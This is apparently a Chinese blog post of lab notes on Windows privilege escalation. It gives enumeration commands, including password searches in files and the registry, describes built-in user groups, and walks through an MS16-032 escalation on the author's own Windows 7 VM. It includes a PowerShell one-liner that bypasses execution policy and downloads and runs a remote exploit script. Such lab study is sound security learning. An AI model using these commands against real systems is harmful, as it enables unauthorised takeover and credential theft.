前言

如今云计算这么发达,其实可以尝试借助云来搭建自己的学习、实验环境。我刚刚在阿里云上搭了个Windows Server 2008。学生版主机还是很实惠的。当然,如果网络不好、有充足机器或自己的机器性能强劲,能带不少虚拟机的当然也可以在本地搭环境。只是MacBook的散热实在感人。

信息收集

' 主机名
hostname
' 环境变量
set
' 远程终端在线用户
query user
quser
' 防火墙
netsh firewall show config
netsh firewall show state
' arp
arp -a
' route
route print
‘ 已安装程序列表
wmic product list brief
' 服务列表
wmic service list brief
' 进程
wmic process list brief
' 自启动程序
wmic startup list brief
' 已安装更新
wmic qfe get Caption,Description,HotFixID,InstalledOn
' 已安装驱动
driverquery
' 结束程序
wmic process where name="iexplore.exe" call terminate
' 敏感文件搜索
dir /b /s *.xls
findstr /si password *.xml *.ini *.txt

' 检查无人值守安装日志文件
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

' 列出当前目录及子目录所有exe文件
for /r %i in (*.exe) do @echo %i

' 读出文件内容(很巧妙)
for /f %i in (c:\1.txt) do echo %i

' 注册表关键字搜索
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

' 权限配置检查
cacls c:\
' 自动收集系统信息的脚本
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

上面脚本还是蛮棒的,输出也好看:

其他很多信息收集的命令在第一章已经记录过了。

注:XP上没有whoami,可以用下面这个方法看当前用户:

echo %userdomain% %username%

或者下载一个安装一下。

Windows权限问题

内置普通组

Administrators

属于该administators本地组内的用户,都具备系统管理员的权限,它们拥有对这台计算机最大的控制权限,可以执行整台计算机的管理任务。内置的系统管理员帐房Administrator就是本地组的成员,而且无法将它从该组删除。

如果这台计算机已加入域,则域的Domain Admins会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限。

Backup OPerators

在该组内的成员,不论它们是否有权访问这台计算机中的文件夹或文件,都可以通过“开始”-“所有程序”-“附件”-“系统工具”-“备份”的途径,备份与还原这些文件夹与文件。

Guests

该组是提供给没有用户帐户,但是需要访问本地计算机内资源的用户使用,该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。

Network Configuration Operators

该组内的用户可以在客户端执行一般的网络设置任务,例如更改IP地址,但是不可以安装/删除驱动程序与服务,也不可以执行与网络服务器设置有关的任务,例如DNS服务器、DHCP服务器的设置。

Power Users

该组内的用户具备比Users组更多的权利,但是比Administrators组拥有的权利更少一些,例如,可以:

  • 创建、删除、更改本地用户帐户
  • 创建、删除、管理本地计算机内的共享文件夹与共享打印机
  • 自定义系统设置,例如更改计算机时间、关闭计算机等

Power Users组的成员不可以更改Administrators与Backup Operators、无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。

Remote Desktop Users

该组的成员可以通过远程计算机登录,例如,利用终端服务器从远程计算机登录。

Users

该组员只拥有一些基本的权利,例如运行应用程序,但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。

所有添加的本地用户帐户者自动属于该组。

如果这台计算机已经加入域,则域的Domain Users会自动地被加入到该计算机的Users组中。

内置特殊组

Everone

任何一个用户都属于这个组。注意,如果Guest帐号被启用时,则给Everone这个组指派权限时必须小心,因为当一个没有帐户的用户连接计算机时,他被允许自动利用Guest帐户连接,但是因为Guest也是属于Everone组,所以他将具备Everyone所拥有的权限。

Authenticated Users

任何一个利用有效的用户帐户连接的用户都属于这个组。建议在设置权限时,尽量针对Authenticated Users组进行设置,而不要针对Everone进行设置。

Interactive

任何在本地登录的用户都属于这个组。

Network

任何通过网络连接此计算机的用户都属于这个组。

Creator Owner

文件夹、文件或打印文件等资源的创建者,就是该资源的Creator Owner(创建所有者)。不过,如果创建者是属于Administrators组内的成员,则其Creator Owner为Administrators组。

Anonymous Logon

任何未利用有效的Windows Server 2003帐户连接的用户,都属于这个组。注意,在windows 2003内,Everone组内并不包含“Anonymous Logon”组。

另:权限是取交集的,水桶原理。

我们可以用SysInternal Suite中的PsExec尝试一次权限提升试一试:

到这里我有一个疑问:为什么渗透测试都要一下子提升到SYSTEM权限呢,如果Administrator权限够用的话?

参考

PoC

先用上一章提到的Windows Exploit Suggester,然后可以在Metasploit中根据漏洞编号搜索PoC。

模拟提权

首先得说,这真的是一个曲折的过程。从自己本地的XP到本地的Win10,再到阿里云上自己的Server 2008,都没成功,也是醉了。自己搭环境都成功不了,还渗透测试个毛线。最后终于本地搭建Win7搞定了提权。

环境搭建

  • 使用cn_windows_7_ultimate_x64_dvd_x15-66043.iso安装全新虚拟机
  • 调整虚拟机为2核(之前的失败经历中有MS16-032,因为核数不够所以无法成功)
  • 查看systeminfo内容
Host Name:                 WIN-RF4PB1U4NP4
OS Name:                   Microsoft Windows 7 Ultimate
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows ??
Registered Organization:
Product ID:                00426-069-6735527-86840
Original Install Date:     2018/5/11, 17:16:34
System Boot Time:          2018/5/11, 17:52:46
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 142 Stepping 9 GenuineIntel ~2303 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 2017/5/19
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              zh-cn;Chinese (China)
Time Zone:                 (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,170 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,169 MB
Virtual Memory: In Use:    926 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\WIN-RF4PB1U4NP4
Hotfix(s):                 N/A
Network Card(s):           2 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: ????
                                 DHCP Enabled:    Yes
                                 DHCP Server:     172.16.56.254
                                 IP address(es)
                                 [01]: 172.16.56.141
                                 [02]: fe80::58e3:f20d:8f2d:c578
                           [02]: Bluetooth ??(?????)
                                 Connection Name: Bluetooth ????
                                 Status:          Media disconnected
  • 创建普通用户test-user

最终主机情况如下所示:

Suggester搜索

这一环节很无奈,因为它根据systeminfo给出的漏洞信息显然非常不全面(起初我还以为这是因为系统语言是中文,但是改成英文后结果并没有发生变化)。

只有这么多。至少,后面我是用MS16-032是提权成功的,但这里并没有列出来(新安装的系统使用的是老ISO,且一个补丁都没有打啊)。

我打开2018-05-11-mssb.xls看了一下,发现MS16-032对应的版本号中有Win7:

这个问题先留在这,之后读源代码排查一下。

MS16-032提权

虽然上一环节没有发现MS16-032可用,但这个漏洞很出名,所以我想试一下。

参考这篇文章(另外,从这篇文章了解到的是,这样明显的添加新管理员的操作会被安全软件阻止)。

使用来自Github仓库的PowerShell版PoC

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Jens472/Invoke-MS16-032/master/Invoke-MS16-032.ps1');Invoke-MS16-032"

注意上面的参数-exec bypass,默认情况下,PowerShell的安全策略不允许运行脚本文件。

如下所示,提权成功。

此时test-user已经成为管理员。我们通过向C:\Windows复制文件测试一下: